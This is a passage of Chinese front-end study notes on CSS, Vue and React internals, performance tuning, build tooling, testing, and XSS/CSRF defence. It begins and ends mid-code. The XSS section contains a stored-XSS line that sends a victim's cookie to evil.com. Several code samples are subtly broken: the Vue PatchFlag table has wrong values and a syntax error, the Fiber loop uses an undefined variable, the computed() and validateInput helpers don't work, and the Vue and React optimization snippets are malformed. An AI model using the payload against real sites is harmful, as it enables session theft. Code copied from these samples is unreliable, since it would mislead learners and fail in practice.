    /* 效果:包含浮动子元素 */
}

.container {
    overflow: hidden;
    /* 效果:防止 margin 合并 */
}

4.2 响应式设计

媒体查询

/* 断点设置 */
@media screen and (max-width: 768px) {
    /* 平板及以下 */
}

@media screen and (min-width: 769px) and (max-width: 1024px) {
    /* 平板 */
}

@media screen and (min-width: 1025px) {
    /* 桌面 */
}

/* 移动优先写法 */
.mobile-first {
    /* 默认样式(移动端) */
}

@media (min-width: 768px) {
    /* 平板 */
}

@media (min-width: 1024px) {
    /* 桌面 */
}

弹性布局

/* Flexbox 完整示例 */
.flex-container {
    display: flex;
    flex-direction: row | row-reverse | column | column-reverse;
    flex-wrap: nowrap | wrap | wrap-reverse;
    justify-content: flex-start | center | space-between | space-around;
    align-items: stretch | flex-start | center | flex-end | baseline;
    align-content: flex-start | center | space-between | space-around | stretch;
    gap: 10px;
}

.flex-item {
    order: 0; /* 项目排列顺序 */
    flex-grow: 1; /* 放大比例 */
    flex-shrink: 0; /* 缩小比例 */
    flex-basis: 200px; /* 基础尺寸 */
    flex: 1 1 200px; /* 简写 */
    align-self: auto | stretch | center | flex-start | flex-end;
}

Grid 布局

/* Grid 完整示例 */
.grid-container {
    display: grid;
    
    /* 轨道大小 */
    grid-template-columns: 100px 1fr 2fr;
    grid-template-rows: auto;
    grid-auto-rows: minmax(100px, auto);
    
    /* 间隙 */
    gap: 10px;
    column-gap: 10px;
    row-gap: 20px;
    
    /* 区域划分 */
    grid-template-areas:
        "header header header"
        "sidebar main main"
        "footer footer footer";
}

.grid-item {
    grid-area: header | sidebar | main | footer;
    grid-column: 1 / 3; /* 从第1列到第3列(不包含) */
    grid-row: 1 / 2;
    grid-column-start: 1;
    grid-column-end: -1;
    
    /* 简写 */
    grid-column: span 2;
    grid-row: span 1;
}

4.3 CSS 动画

动画属性

/* 过渡 */
.element {
    transition: property duration timing-function delay;
    transition: all 0.3s ease-in-out;
    transition: transform 0.5s, opacity 0.3s;
}

/* 关键帧动画 */
@keyframes slideIn {
    from {
        transform: translateX(-100%);
        opacity: 0;
    }
    to {
        transform: translateX(0);
        opacity: 1;
    }
}

.animated-element {
    animation: slideIn 0.5s ease-out forwards;
    animation-delay: 0.2s;
    animation-iteration-count: infinite;
    animation-direction: alternate;
}

/* 性能优化 */
.gpu-accelerated {
    /* 使用 GPU 合成层 */
    transform: translateZ(0);
    will-change: transform;
    backface-visibility: hidden;
}

五、Vue.js 深度原理

5.1 响应式系统

Vue 2 响应式原理

// Object.defineProperty 实现
function defineReactive(obj, key, val) {
    const dep = new Dep(); // 依赖收集器
    
    Object.defineProperty(obj, key, {
        enumerable: true,
        configurable: true,
        get() {
            // 收集依赖
            if (Dep.target) {
                dep.addSub(Dep.target);
            }
            return val;
        },
        set(newVal) {
            if (val !== newVal) {
                val = newVal;
                // 通知更新
                dep.notify();
            }
        }
    });
}

// Observer:遍历所有属性,转换为响应式
function observe(value) {
    if (typeof value !== 'object' || value === null) {
        return;
    }
    
    return new Observer(value);
}

class Observer {
    constructor(value) {
        this.value = value;
        this.dep = new Dep();
        
        if (Array.isArray(value)) {
            // 数组响应式处理
            this.observeArray(value);
        } else {
            this.walk(value);
        }
    }
    
    walk(obj) {
        Object.keys(obj).forEach(key => {
            defineReactive(obj, key, obj[key]);
        });
    }
}

// Watcher:观察者,触发更新
class Watcher {
    constructor(vm, expOrFn, cb) {
        this.vm = vm;
        this.getter = parsePath(expOrFn);
        this.cb = cb;
        this.value = this.get();
    }
    
    get() {
        Dep.target = this;
        let value = this.getter.call(this.vm, this.vm);
        Dep.target = null;
        return value;
    }
    
    update() {
        const oldValue = this.value;
        this.value = this.get();
        this.cb.call(this.vm, this.value, oldValue);
    }
}

// Dep:依赖管理器
class Dep {
    constructor() {
        this.subs = [];
    }
    
    addSub(sub) {
        this.subs.push(sub);
    }
    
    notify() {
        this.subs.forEach(sub => sub.update());
    }
}

Vue 3 响应式原理

// Proxy 实现
function reactive(target) {
    return new Proxy(target, {
        get(target, key, receiver) {
            const result = Reflect.get(target, key, receiver);
            
            // 依赖收集
            track(target, key);
            
            // 递归响应式
            if (isObject(result)) {
                return reactive(result);
            }
            
            return result;
        },
        
        set(target, key, value, receiver) {
            const oldValue = Reflect.get(target, key, receiver);
            const result = Reflect.set(target, key, value, receiver);
            
            if (oldValue !== value) {
                // 触发更新
                trigger(target, key, value, oldValue);
            }
            
            return result;
        },
        
        deleteProperty(target, key) {
            const hadKey = hasOwn(target, key);
            const result = Reflect.deleteProperty(target, key);
            
            if (hadKey && result) {
                trigger(target, key);
            }
            
            return result;
        },
        
        has(target, key) {
            track(target, key);
            return Reflect.has(target, key);
        }
    });
}

// 依赖追踪系统
let activeEffect = null;
const targetMap = new WeakMap();

function track(target, key) {
    let depsMap = targetMap.get(target);
    if (!depsMap) {
        targetMap.set(target, (depsMap = new Map()));
    }
    
    let dep = depsMap.get(key);
    if (!dep) {
        depsMap.set(key, (dep = new Set()));
    }
    
    dep.add(activeEffect);
}

function trigger(target, key, value, oldValue) {
    const depsMap = targetMap.get(target);
    if (!depsMap) return;
    
    const effects = depsMap.get(key);
    if (effects) {
        effects.forEach(effect => effect());
    }
}

// effect 函数
function effect(fn) {
    activeEffect = fn;
    fn();
    activeEffect = null;
}

// ref 和 computed
function ref(value) {
    return reactive({ value });
}

function computed(getter) {
    let value = null;
    let dirty = true;
    
    const effectFn = effect(() => {
        value = getter();
        dirty = false;
    });
    
    return {
        get value() {
            if (dirty) {
                effectFn();
            }
            return value;
        }
    };
}

5.2 虚拟 DOM 与 Diff

VNode 结构

// VNode 属性
{
    __v_isVNode: true,
    vnode: this,           // 自身引用
    key: null,            // 唯一标识
    type: VNodeType,      // 组件类型
    tag: string,          // 标签名
    props: object,        // 属性
    children: VNode[],    // 子节点
    component: Component, // 组件实例
    el: Element,          // 真实 DOM 引用
    patchFlag: number,    // 优化标志
    dynamicChildren: [],  // 动态子节点
    // ...
}

Diff 算法详解

// Vue3 Diff 算法(双端比较)
function patchKeyedChildren(
    oldChildren: VNode[],
    newChildren: VNode[],
    parentComponent: Component
) {
    let i = 0;
    let e1 = oldChildren.length - 1;
    let e2 = newChildren.length - 1;
    
    // 1. 从头部开始比较
    while (i <= e1 && i <= e2) {
        const oldNode = oldChildren[i];
        const newNode = newChildren[i];
        
        if (isSameVNodeType(oldNode, newNode)) {
            patch(oldNode, newNode, parentComponent);
        } else {
            break;
        }
        i++;
    }
    
    // 2. 从尾部开始比较
    while (i <= e1 && i <= e2) {
        const oldNode = oldChildren[e1];
        const newNode = newChildren[e2];
        
        if (isSameVNodeType(oldNode, newNode)) {
            patch(oldNode, newNode, parentComponent);
        } else {
            break;
        }
        e1--;
        e2--;
    }
    
    // 3. 新节点比老节点多
    if (i > e1) {
        while (i <= e2) {
            // 挂载新节点
            patch(null, newChildren[i], parentComponent);
            i++;
        }
    }
    // 4. 老节点比新节点多
    else if (i > e2) {
        while (i <= e1) {
            // 卸载老节点
            unmount(oldChildren[i]);
            i++;
        }
    }
    // 5. 中间部分需要详细比较
    else {
        const keyToNewIndexMap = new Map();
        for (let j = i; j <= e2; j++) {
            const key = newChildren[j].key;
            keyToNewIndexMap.set(key, j);
        }
        
        // ... 核心 diff 逻辑
    }
}

PatchFlag 优化

// PatchFlags
const PatchFlagNames = {
    [1]: 'TEXT',           // 文本节点
    [2]: 'CLASS',          // 类名
    [3]: 'STYLE',          // 样式
    [4]: 'PROPS',          // 属性(无动态 key)
    [5]: 'FULL_PROPS',     // 所有属性
    [6]: 'HYDRATE_EVENTS', // 事件
    [8]: 'CHILDREN',       // 子节点
    [16]: 'KEYED_FRAGMENT'], // 有 key 的片段
    [-1]: 'NEED_PATCH',    // 需要完整 patch
    [-2]: 'DYNAMIC_SLOTS', // 动态插槽
    [-3]: 'CUSTOM'         // 自定义
};

// 编译器优化示例
// 模板:
// <div>{{ message }}</div>
// 编译后:
// h('div', { innerText: toDisplayString(message) }, null, PatchFlagNames.TEXT)

5.3 组件系统

组件实例生命周期

// Vue 3 组件实例
class Component {
    constructor(props) {
        this.props = props;
        this.setup(); // 组合式 API
    }
    
    // 生命周期钩子
    beforeCreate() {}
    created() {}
    beforeMount() {}
    mounted() {}
    beforeUpdate() {}
    updated() {}
    beforeUnmount() {}
    unmounted() {}
    errorCaptured() {}
    
    // 渲染
    render() {
        return this.$slots.default?.();
    }
}

// setup 函数
function setup() {
    const count = ref(0);
    const increment = () => count.value++;
    
    return { count, increment };
}

provide/inject

// 祖先组件
const Parent = {
    provide: {
        theme: 'dark'
    },
    setup() {
        const user = ref({ name: 'Alice' });
        
        provide('user', user); // 响应式
        provide('theme', 'dark'); // 非响应式
        
        return () => h(Child);
    }
};

// 后代组件
const DeepChild = {
    inject: ['theme', 'user'],
    mounted() {
        console.log(this.theme); // 'dark'
        console.log(this.user.name); // 'Alice'
    }
};

// 带有默认值的 provide/inject
const Child = {
    inject: {
        theme: { from: 'theme', default: 'light' },
        user: { from: 'user', default: () => ({}) }
    }
};

5.4 编译原理

模板编译流程

// 1. 模板 → AST
const template = `<div class="container">
    <h1>{{ title }}</h1>
    <button @click="handleClick">Click</button>
</div>`;

// 解析为 AST
const ast = parse(template);
// AST 结构:
// - Element: div
//   - Props: [class: "container"]
//   - Children:
//     - Element: h1
//       - Interpolation: title
//     - Element: button
//       - Event: click → handleClick

// 2. AST → 渲染函数
function render(ctx) {
    return h('div', { class: 'container' }, [
        h('h1', toDisplayString(ctx.title)),
        h('button', { onClick: ctx.handleClick }, 'Click')
    ]);
}

// 3. 渲染函数 → VNode
function h(type, props, children) {
    return createVNode(type, props, children);
}

六、React 深度原理

6.1 组件与状态

组件类型

// 函数组件
function Welcome({ name }: { name: string }) {
    return <h1>Hello, {name}</h1>;
}

// 类组件
class Welcome extends React.Component<{ name: string }> {
    render() {
        return <h1>Hello, {this.props.name}</h1>;
    }
}

// HOC
function withLoading<T>(Component: React.ComponentType<T>) {
    return function WithLoading({ isLoading, ...props }: T & { isLoading: boolean }) {
        if (isLoading) return <Spinner />;
        return <Component {...props as T} />;
    };
}

// Render Props
class MouseTracker extends React.Component<{ render: (pos: { x: number; y: number }) => React.ReactNode }> {
    state = { x: 0, y: 0 };
    
    handleMouseMove = (e: MouseEvent) => {
        this.setState({ x: e.clientX, y: e.clientY });
    };
    
    render() {
        return (
            <div onMouseMove={this.handleMouseMove}>
                {this.props.render(this.state)}
            </div>
        );
    }
}

// Hooks
function useWindowSize() {
    const [size, setSize] = useState({ width: 0, height: 0 });
    
    useEffect(() => {
        const handleResize = () => {
            setSize({ width: window.innerWidth, height: window.innerHeight });
        };
        
        window.addEventListener('resize', handleResize);
        handleResize();
        
        return () => window.removeEventListener('resize', handleResize);
    }, []);
    
    return size;
}

6.2 Fiber 架构

Fiber 节点结构

// Fiber 节点
{
    // 类型信息
    type: 'div' | Component,
    
    // DOM 关联
    stateNode: DOMElement | Component | null,
    
    // 引用
    ref: RefObject,
    
    // 更新队列
    updateQueue: UpdateQueue,
    
    // 优先级
    lanes: Lanes,
    childLanes: Lanes,
    
    // 副作用
    flags: Flags,
    subtreeFlags: Flags,
    deletions: Fiber[],
    
    // 链表结构
    alternate: Fiber | null,
    child: Fiber | null,
    sibling: Fiber | null,
    return: Fiber | null,
    index: number,
    
    // 状态和属性
    memoizedProps: Props,
    pendingProps: Props,
    memoizedState: State,
    
    // 模式
    mode: TypeOfMode
}

Fiber 调度器

// 调度流程
function performUnitOfWork(unitOfWork: Fiber) {
    const current = unitOfWork.alternate;
    
    // 开始工作单元
    let next = null;
    
    if (unitWork.tag === HostRoot) {
        next = updateHostRoot(unitOfWork);
    } else if (unitWork.tag === HostComponent) {
        next = updateHostComponent(unitOfWork);
    } else {
        next = processUpdateQueue(unitOfWork);
    }
    
    // 链表遍历
    if (next !== null) {
        return next.child;
    }
    
    // 回溯
    let returnFiber = unitOfWork;
    while (returnFiber !== null) {
        completeUnitOfWork(returnFiber);
        if (returnFiber.sibling !== null) {
            return returnFiber.sibling;
        }
        returnFiber = returnFiber.return;
    }
}

// Lane 模型(优先级调度)
const lanes = {
    SyncLane: 0b0001,           // 同步优先级
    InputContinuousLane: 0b0010, // 连续输入
    DefaultLane: 0b0100,        // 默认
    TransitionLane: 0b1000,    // 过渡
    IdleLane: 0b10000          // 空闲
};

6.3 协调算法

Reconciliation

// Diff 算法
function reconcileChildren(returnFiber, children) {
    if (typeof children === 'object' && children !== null) {
        // 多节点处理
        const { shapeFlag } = child;
        
        if (shapeFlag & ShapeFlags.ELEMENT) {
            mountChild(fiber, child);
        } else if (shapeFlag & ShapeFlags.TEXT) {
            mountTextChild(fiber, child);
        } else if (shapeFlag & ShapeFlags.ARRAY_CHILDREN) {
            mountArrayChildren(fiber, child);
        }
    }
}

// 元素对比
function updateElement(returnFiber, currentFiber, element) {
    if (currentFiber !== null) {
        // 类型相同,复用
        if (currentFiber.type === element.type) {
            const existing = useFiber(currentFiber, element.props);
            existing.ref = element.ref;
            return existing;
        }
        // 类型不同,创建新节点
    }
    
    const newFiber = createFiberFromElement(element);
    newFiber.return = returnFiber;
    return newFiber;
}

6.4 Hooks 原理

useState

// React Hook 实现
let currentComponent = null;
let workInProgressHook = null;

function useState(initialState) {
    const hook = updateWorkInProgressHook();
    
    if (hook.memoizedState === null) {
        hook.memoizedState = 
            typeof initialState === 'function' 
                ? initialState() 
                : initialState;
    }
    
    const queue = hook.queue;
    
    const setState = (action) => {
        hook.memoizedState = 
            queue.lastRenderedState = 
                typeof action === 'function'
                    ? action(hook.memoizedState)
                    : action;
        
        scheduleUpdateOnFiber(fiber, lane);
    };
    
    return [hook.memoizedState, setState];
}

function updateWorkInProgressHook() {
    if (workInProgressHook === null) {
        workInProgressHook = fiber.memoizedState;
    } else {
        workInProgressHook = workInProgressHook.next;
    }
    return workInProgressHook;
}

useEffect

function useEffect(create, deps) {
    const hook = updateWorkInProgressHook();
    const prevDeps = hook.memoizedDeps;
    
    // 检查依赖是否变化
    if (prevDeps === null || !areHookInputsEqual(deps, prevDeps)) {
        hook.memoizedState = pushEffect(
            HookHasEffect | HookLayout,
            create,
            deps
        );
    } else {
        hook.memoizedState = pushEffect(
            HookLayout,
            create,
            deps
        );
    }
}

function pushEffect(tag, create, deps) {
    const effect = {
        tag,
        create,
        deps,
        next: null,
        destroy: null
    };
    
    // 添加到 fiber 的 updateQueue
    // 在提交阶段执行
}

useRef

function useRef(initialValue) {
    const hook = updateWorkInProgressHook();
    
    if (hook.memoizedState === null) {
        hook.memoizedState = { 
            current: initialValue,
            __reactInternalInstance: fiber
        };
    }
    
    return hook.memoizedState;
}

6.5 并发特性

useTransition

// 并发渲染
function SearchResults() {
    const [isPending, startTransition] = useTransition();
    const [query, setQuery] = useState('');
    
    const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
        startTransition(() => {
            setQuery(e.target.value);
        });
    };
    
    return (
        <>
            <input onChange={handleChange} />
            {isPending ? <Spinner /> : <Results query={query} />}
        </>
    );
}

useDeferredValue

// 延迟值
function SearchResults({ query }) {
    const deferredQuery = useDeferredValue(query);
    
    return (
        <ExpensiveList query={deferredQuery} />
    );
}

七、性能优化

7.1 Core Web Vitals

核心指标

// LCP (Largest Contentful Paint)
// 最大内容绘制时间
new PerformanceObserver((entryList) => {
    for (const entry of entryList.getEntries()) {
        console.log('LCP:', entry.startTime);
    }
}).observe({ type: 'largest-contentful-paint', buffered: true });

// FID (First Input Delay)
// 首次输入延迟
new PerformanceObserver((entryList) => {
    for (const entry of entryList.getEntries()) {
        console.log('FID:', entry.processingStart - entry.startTime);
    }
}).observe({ type: 'first-input', buffered: true });

// CLS (Cumulative Layout Shift)
// 累计布局偏移
let clsValue = 0;
new PerformanceObserver((entryList) => {
    for (const entry of entryList.getEntries()) {
        if (!entry.hadRecentInput) {
            clsValue += entry.value;
        }
    }
}).observe({ type: 'layout-shift', buffered: true });

7.2 加载优化

代码分割

// 动态导入
const HeavyComponent = React.lazy(() => import('./HeavyComponent'));

// 路由分割
const Dashboard = React.lazy(() => import('./routes/Dashboard'));
const Settings = React.lazy(() => import('./routes/Settings'));

function App() {
    return (
        <Suspense fallback={<Spinner />}>
            <Routes>
                <Route path="/dashboard" element={<Dashboard />} />
                <Route path="/settings" element={<Settings />} />
            </Routes>
        </Suspense>
    );
}

// 预加载
const PrefetchExample = () => {
    const handleHover = () => {
        import('./HeavyComponent').then(module => {
            // 预加载完成
        });
    };
    
    return <button onMouseEnter={handleHover}>Hover me</button>;
};

资源优化

<!-- 预加载 -->
<link rel="preload" href="/styles.css" as="style">
<link rel="preload" href="/script.js" as="script">

<!-- 预连接 -->
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://api.example.com">

<!-- 预获取 -->
<link rel="prefetch" href="/next-page.html">
<link rel="prerender" href="/next-page.html">

<!-- 关键 CSS -->
<style>
    /* 内联首屏关键 CSS */
    .critical { ... }
</style>
<!-- 异步加载非关键 CSS -->
<link rel="preload" href="/styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="/styles.css"></noscript>

7.3 运行时优化

React 优化

// React.memo
const MyComponent = React.memo<Props>(({ title }) => {
    return <div>{title}</div>;
}, (prevProps, nextProps) => {
    // 自定义比较逻辑
    return prevProps.title === nextProps.title;
});

// useMemo
function ExpensiveComponent({ data, filter }) {
    const processedData = useMemo(() => {
        return data.filter(item => item.name.includes(filter));
    }, [data, filter]);
    
    return <List items={processedData} />;
}

// useCallback
function Parent() {
    const [count, setCount] = useState(0);
    
    const handleClick = useCallback(() => {
        setCount(c => c + 1);
    }, []);
    
    return <Child onClick={handleClick} />;
}

// useTransition
function SearchResults({ query }) {
    const [isPending, startTransition] = useTransition();
    
    const filteredResults = useMemo(() => {
        startTransition(() => {
            // 这个操作可能被中断
            return heavyFilter(query);
        });
    }, [query]);
}

Vue 优化

<script setup>
// v-once
const staticContent = computed(() => {
    return <div v-once>{staticData}</div>;
});

// v-memo
const row = ref({
    id: 1,
    data: { ... }
});

<template>
    <div v-memo="[row.id]">
        <ExpensiveComponent :data="row.data" />
    </div>
</template>

// keep-alive
<router-view v-slot="{ Component }">
    <keep-alive :include="['Dashboard', 'Settings']">
        <component :is="Component" />
    </keep-alive>
</router-view>
</script>

7.4 内存优化

内存泄漏检测

// Chrome DevTools Memory 面板
// 1. 拍摄堆快照
// 2. 比较快照查找泄漏对象
// 3. 记录分配时间线

// 检测代码
class MemoryLeakDetector {
    constructor() {
        this.weakRefs = new Set();
    }
    
    track(obj, name) {
        const ref = new WeakRef(obj);
        this.weakRefs.add({ ref, name, timestamp: Date.now() });
        return ref;
    }
    
    checkForLeaks() {
        const now = Date.now();
        this.weakRefs.forEach(({ ref, name, timestamp }) => {
            if (ref.deref() === undefined) {
                console.log(`Object ${name} was garbage collected`);
                this.weakRefs.delete({ ref, name, timestamp });
            }
        });
    }
}

常见泄漏场景

// 1. 全局变量泄漏
function badFunction() {
    globalData = { ... }; // 不使用 var/let/const
}

// 2. 闭包泄漏
function createLeakyClosure() {
    const largeData = new Array(1000000);
    
    return function() {
        return largeData.length;
    };
}

// 3. 定时器泄漏
function componentDidMount() {
    setInterval(() => {
        this.doSomething();
    }, 1000);
    
    // 解决方案:在 componentWillUnmount 中清除
    this.intervalId = setInterval(...);
}

function componentWillUnmount() {
    clearInterval(this.intervalId);
}

// 4. 事件监听泄漏
function addEventListeners() {
    window.addEventListener('resize', this.handleResize);
}

function removeEventListeners() {
    window.removeEventListener('resize', this.handleResize);
}

// 5. Map/Set 无限增长
const cache = new Map();

function getCachedData(key) {
    if (cache.has(key)) {
        return cache.get(key);
    }
    const data = fetchData(key);
    cache.set(key, data);
    return data;
}

// 解决方案:使用 LRU 缓存或 WeakMap

7.5 虚拟列表

虚拟滚动实现

class VirtualList {
    constructor(container, options = {}) {
        this.container = container;
        this.itemHeight = options.itemHeight || 50;
        this.buffer = options.buffer || 5;
        this.items = options.items || [];
        
        this.scrollTop = 0;
        this.visibleCount = Math.ceil(container.clientHeight / this.itemHeight);
        
        this.init();
    }
    
    init() {
        this.container.style.overflow = 'auto';
        this.container.style.position = 'relative';
        
        // 创建滚动区域
        this.scrollArea = document.createElement('div');
        this.scrollArea.style.height = `${this.items.length * this.itemHeight}px`;
        this.scrollArea.style.width = '100%';
        this.container.appendChild(this.scrollArea);
        
        // 创建可见区域
        this.visibleArea = document.createElement('div');
        this.visibleArea.style.position = 'absolute';
        this.visibleArea.style.top = '0';
        this.visibleArea.style.left = '0';
        this.visibleArea.style.right = '0';
        this.container.appendChild(this.visibleArea);
        
        this.container.addEventListener('scroll', () => this.onScroll());
        this.render();
    }
    
    onScroll() {
        this.scrollTop = this.container.scrollTop;
        this.render();
    }
    
    render() {
        const startIndex = Math.floor(this.scrollTop / this.itemHeight);
        const endIndex = Math.min(
            startIndex + this.visibleCount + this.buffer,
            this.items.length
        );
        
        const offsetY = startIndex * this.itemHeight;
        
        // 渲染可见项
        const fragment = document.createDocumentFragment();
        for (let i = startIndex - this.buffer; i < endIndex; i++) {
            if (i >= 0 && i < this.items.length) {
                const item = this.createItem(this.items[i], i);
                item.style.transform = `translateY(${i * this.itemHeight}px)`;
                fragment.appendChild(item);
            }
        }
        
        this.visibleArea.innerHTML = '';
        this.visibleArea.appendChild(fragment);
    }
    
    createItem(item, index) {
        const element = document.createElement('div');
        element.className = 'virtual-item';
        element.style.height = `${this.itemHeight}px`;
        element.style.position = 'absolute';
        element.textContent = item.text || item;
        return element;
    }
}

八、工程化与构建

8.1 Webpack 深度

工作流程

// webpack.config.js 完整配置
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const TerserPlugin = require('terser-webpack-plugin');

module.exports = {
    // 入口
    entry: {
        main: './src/index.js',
        vendor: './src/vendor.js'
    },
    
    // 输出
    output: {
        path: path.resolve(__dirname, 'dist'),
        filename: '[name].[contenthash:8].js',
        chunkFilename: '[name].[contenthash:8].chunk.js',
        publicPath: '/',
        clean: true
    },
    
    // 模块解析
    resolve: {
        extensions: ['.js', '.jsx', '.ts', '.tsx', '.json'],
        alias: {
            '@': path.resolve(__dirname, 'src'),
            '@components': path.resolve(__dirname, 'src/components')
        },
        modules: [path.resolve(__dirname, 'src'), 'node_modules']
    },
    
    // 模块规则
    module: {
        rules: [
            {
                test: /\.jsx?$/,
                exclude: /node_modules/,
                use: {
                    loader: 'babel-loader',
                    options: {
                        presets: [
                            ['@babel/preset-env', { targets: '> 0.25%, not dead' }],
                            ['@babel/preset-react', { runtime: 'automatic' }]
                        ]
                    }
                }
            },
            {
                test: /\.tsx?$/,
                use: 'ts-loader'
            },
            {
                test: /\.css$/,
                use: [
                    MiniCssExtractPlugin.loader,
                    'css-loader',
                    'postcss-loader'
                ]
            },
            {
                test: /\.(png|jpg|gif|svg)$/,
                type: 'asset/resource',
                generator: {
                    filename: 'images/[name].[hash:8][ext]'
                }
            },
            {
                test: /\.(woff|woff2|eot|ttf|otf)$/,
                type: 'asset/resource',
                generator: {
                    filename: 'fonts/[name].[hash:8][ext]'
                }
            }
        ]
    },
    
    // 插件
    plugins: [
        new HtmlWebpackPlugin({
            template: './public/index.html',
            filename: 'index.html',
            inject: 'body',
            minify: {
                collapseWhitespace: true,
                removeComments: true
            }
        }),
        new MiniCssExtractPlugin({
            filename: '[name].[contenthash:8].css'
        })
    ],
    
    // 优化
    optimization: {
        minimize: true,
        minimizer: [new TerserPlugin()],
        moduleIds: 'deterministic',
        runtimeChunk: 'single',
        splitChunks: {
            chunks: 'all',
            cacheGroups: {
                vendor: {
                    test: /[\\/]node_modules[\\/]/,
                    name: 'vendors',
                    priority: 10,
                    reuseExistingChunk: true
                },
                common: {
                    minChunks: 2,
                    priority: 5,
                    reuseExistingChunk: true
                }
            }
        }
    },
    
    // 开发服务器
    devServer: {
        static: './dist',
        hot: true,
        port: 3000,
        open: true,
        proxy: {
            '/api': 'http://localhost:4000'
        }
    },
    
    // 性能
    performance: {
        hints: 'warning',
        maxEntrypointSize: 512000,
        maxAssetSize: 512000
    },
    
    // 模式
    mode: 'production'
};

Plugin 开发

// 自定义 Plugin
class MyWebpackPlugin {
    constructor(options = {}) {
        this.options = options;
    }
    
    apply(compiler) {
        // 编译前
        compiler.hooks.beforeCompile.tapAsync('MyWebpackPlugin', (params, callback) => {
            console.log('Before compilation');
            callback();
        });
        
        // 编译完成
        compiler.hooks.afterCompile.tap('MyWebpackPlugin', (compilation) => {
            console.log('After compilation');
        });
        
        // 生成产物前
        compiler.hooks.emit.tapAsync('MyWebpackPlugin', (compilation, callback) => {
            const stats = compilation.getStats().toJson();
            
            // 添加分析文件
            compilation.assets['analysis.json'] = {
                source: () => JSON.stringify(stats, null, 2),
                size: () => stats.assets.length
            };
            
            callback();
        });
    }
}

// Loader 开发
function myLoader(source) {
    // Loader 必须返回字符串
    const result = transform(source, this.options);
    return result;
}

// 异步 Loader
function asyncLoader(source) {
    const callback = this.async();
    
    transformAsync(source, this.options, (err, result) => {
        if (err) return callback(err);
        callback(null, result);
    });
}

8.2 Vite 原理

开发模式

// Vite 开发服务器
// 1. 拦截浏览器模块请求
// 2. 按需编译
// 3. 返回处理后的模块

// 请求流程
// 浏览器: import './App.js'
//      ↓
// Vite: 拦截请求,读取 ./App.js
//      ↓
// 如果有依赖:递归处理依赖
//      ↓
// 返回处理后的代码
// import.meta.glob, import sourcemap

Rollup 打包

// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';

export default defineConfig({
    plugins: [vue()],
    
    build: {
        lib: {
            entry: path.resolve(__dirname, 'src/index.js'),
            name: 'MyLib',
            fileName: 'my-lib'
        },
        rollupOptions: {
            external: ['vue'],
            output: {
                globals: {
                    vue: 'Vue'
                }
            }
        },
        minify: 'esbuild'
    },
    
    esbuild: {
        jsx: 'automatic',
        minify: true
    },
    
    server: {
        fs: {
            allow: ['..']
        }
    }
});

8.3 测试

Jest 配置

// jest.config.js
module.exports = {
    testEnvironment: 'jsdom',
    testMatch: ['**/__tests__/**/*.{js,jsx}', '**/*.test.{js,jsx}'],
    transform: {
        '^.+\\.(js|jsx)$': 'babel-jest',
        '^.+\\.(ts|tsx)$': ['esbuild-jest', { sourcemap: true }]
    },
    moduleNameMapper: {
        '^@/(.*)$': '<rootDir>/src/$1'
    },
    setupFilesAfterEnv: ['<rootDir>/jest.setup.js'],
    coverageDirectory: 'coverage',
    collectCoverageFrom: [
        'src/**/*.{js,jsx,ts,tsx}',
        '!src/**/*.d.ts'
    ],
    testTimeout: 10000
};

测试示例

// 单元测试
describe('sum', () => {
    it('adds two numbers', () => {
        expect(sum(1, 2)).toBe(3);
    });
    
    it('handles negative numbers', () => {
        expect(sum(-1, -2)).toBe(-3);
    });
});

// Mock
jest.mock('./api');
import { fetchUser } from './api';

describe('UserProfile', () => {
    beforeEach(() => {
        jest.clearAllMocks();
    });
    
    it('fetches user data', async () => {
        fetchUser.mockResolvedValue({ id: 1, name: 'Alice' });
        
        const user = await fetchUser(1);
        
        expect(fetchUser).toHaveBeenCalledWith(1);
        expect(user.name).toBe('Alice');
    });
});

// React Testing Library
import { render, screen, fireEvent } from '@testing-library/react';

describe('Button', () => {
    it('calls onClick when clicked', () => {
        const handleClick = jest.fn();
        render(<Button onClick={handleClick}>Click me</Button>);
        
        fireEvent.click(screen.getByText('Click me'));
        
        expect(handleClick).toHaveBeenCalledTimes(1);
    });
});

// Vue Test Utils
import { mount } from '@vue/test-utils';
import Button from './Button.vue';

describe('Button', () => {
    it('emits click event', async () => {
        const wrapper = mount(Button, { props: { label: 'Click me' } });
        
        await wrapper.find('button').trigger('click');
        
        expect(wrapper.emitted('click')).toBeTruthy();
    });
});

九、网络安全

9.1 XSS 攻击与防御

攻击类型

// 1. 反射型 XSS
// URL: https://example.com/search?q=<script>alert('xss')</script>
app.get('/search', (req, res) => {
    const query = req.query.q;
    // 危险:不转义直接输出
    res.send(`Search results for: ${query}`);
});

// 2. 存储型 XSS
// 用户提交包含恶意脚本的内容
// <script>document.location='http://evil.com?cookie='+document.cookie</script>

// 3. DOM 型 XSS
// 危险代码
document.innerHTML = userInput; // 不安全
// 安全代码
document.textContent = userInput; // 安全

防御策略

// 1. 输入验证
function validateInput(input) {
    const schema = {
        username: /^[a-zA-Z0-9_]{3,20}$/,
        email: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
        age: /^[0-9]+$/
    };
    
    return schema.test(input);
}

// 2. 输出编码
function escapeHtml(text) {
    const map = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#039;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
}

// 3. CSP
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', 
        "default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'");
    next();
});

// 4. HttpOnly Cookie
app.use((req, res) => {
    res.cookie('session', sessionId, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict'
    });
});

// React 自动转义
// Vue 自动转义(除了 v-html)

9.2 CSRF 攻击与防御

// CSRF Token
// 服务端生成并验证
app.use((req, res, next) => {
    if (!req.session.csrfToken) {
        req.session.csrfToken = generateToken();
    }
    res.locals.csrfToken = req.session.csrfToken;
    next();
});

// 中间件验证
function validateCsrf(req, res, next) {
    const token = req.body._csrf || req.headers['x-csrf-token'];
    if (token !== req.session.csrfToken) {
        return res.status(403).json({ error: 'Invalid CSRF token' });
    }
    next();
}

// SameSite Cookie
res.cookie('session', sessionId, {
    sameSite: 'strict' // 或 'lax'
});

9.3 其他安全问题

中间人攻击

// HTTPS 强制
app.use((req, res, next) => {
    if (!req.secure) {
